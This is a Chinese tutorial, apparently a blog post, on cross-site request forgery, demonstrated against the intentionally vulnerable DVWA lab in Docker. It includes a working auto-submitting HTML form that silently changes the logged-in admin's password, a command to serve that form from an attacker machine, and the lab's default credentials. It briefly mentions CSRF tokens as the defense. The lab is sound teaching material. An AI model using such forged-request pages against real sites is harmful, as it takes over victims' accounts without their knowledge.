CSRF(跨站请求伪造)

🧨 什么是 CSRF?

CSRF(Cross-Site Request Forgery) 是一种攻击方式,诱导已登录的用户浏览器发送未授权请求,比如更改密码、转账等,而用户并未察觉。

攻击前提:

  1. 受害者已登录某网站,并保持登录状态(有 Cookie)。
  2. 攻击者诱导受害者访问一个恶意页面,该页面发出请求到受害者登录的站点。
  3. 服务端认为请求合法,因为带有受害者的 Cookie。

✅ DVWA 中的 CSRF 测试位置:

  1. 拉取 DVWA 镜像并运行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
  2. 打开 DVWA Web 界面:http://localhost:8080,用户名:admin,密码:password
  3. 登录后,点击左侧菜单 "CSRF"。
  4. 默认功能是 修改用户密码,就是我们的测试点。

🔥 第一步:构造 CSRF 攻击页面(HTML 文件)

查看修改密码页面的前端代码:

你可以用如下代码,保存为 csrf_attack.html:

bash 复制代码
<!DOCTYPE html>
<html>
  <body>
    <h3>😈 正在发起 CSRF 攻击...</h3>
    <form action="http://localhost:8080/vulnerabilities/csrf/" method="GET">
      <input type="hidden" name="password_new" value="hacked123" />
      <input type="hidden" name="password_conf" value="hacked123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="点我也改密码" />
    </form>

    <script>
      document.forms[0].submit(); // 自动提交
    </script>
  </body>
</html>

🔄 第二步:启动一个 HTTP 服务器(攻击服务器)

假设你用攻击者机器,运行:

bash 复制代码
python3 -m http.server 8082

然后在浏览器打开:

bash 复制代码
http://<攻击者IP>:8082/csrf_attack.html

如果你已登录 DVWA,访问该页面就会修改你的密码。

输入网址后回车结果:

✅ 第三步:验证密码是否被改了

回到 DVWA,尝试用新密码登录:

  • 用户名:admin
  • 密码:hacked123

🧱 防御思路(了解):

DVWA 高安全等级下会引入 CSRF Token 防护机制,攻击者无法伪造。

相关推荐
国科安芯1 天前
航天器多路并联大功率电源系统设计与ASP4644均流特性分析
单片机·嵌入式硬件·fpga开发·安全性测试
介一安全2 天前
【SRC】基础思路篇10:越权与未授权访问完全指南
web安全·安全性测试·src·越权
云水一下3 天前
DVWA从入门到精通(四):CSRF(跨站请求伪造)
安全·csrf·dvwa
水龙吟啸21 天前
机器学习安全:图像多分类任务的测试时对抗样本转移攻击实战(一)
机器学习·图像分类·安全性测试·asr·混淆矩阵·auc·转移攻击
一拳一个娘娘腔22 天前
【第七期】漏洞攻防-前端篇:XSS 与 CSRF —— 当浏览器成为攻击者的“肉鸡”
前端·xss·csrf
2601_9618451524 天前
2026法考资料pdf|电子版|资料已整理
开发语言·前端框架·pdf·c#·xhtml·csrf·view design
持敬chijing24 天前
Web渗透之前后端漏洞-CSRF(跨站请求伪造)
安全·web安全·网络安全·xss·csrf
Luminbox紫创测控25 天前
金属卤素灯工作原理与汽车零部件老化测试应用
测试工具·汽车·安全性测试·测试标准
国科安芯1 个月前
商业航天通信载荷数字处理单元供电架构研究——基于ASP7A84AS的高精度低压差线性稳压器技术分析
前端·单片机·嵌入式硬件·fpga开发·架构·安全性测试
大棉花哥哥1 个月前
Cybellum之Products(产品管理)模块技术详解
安全性测试·车联网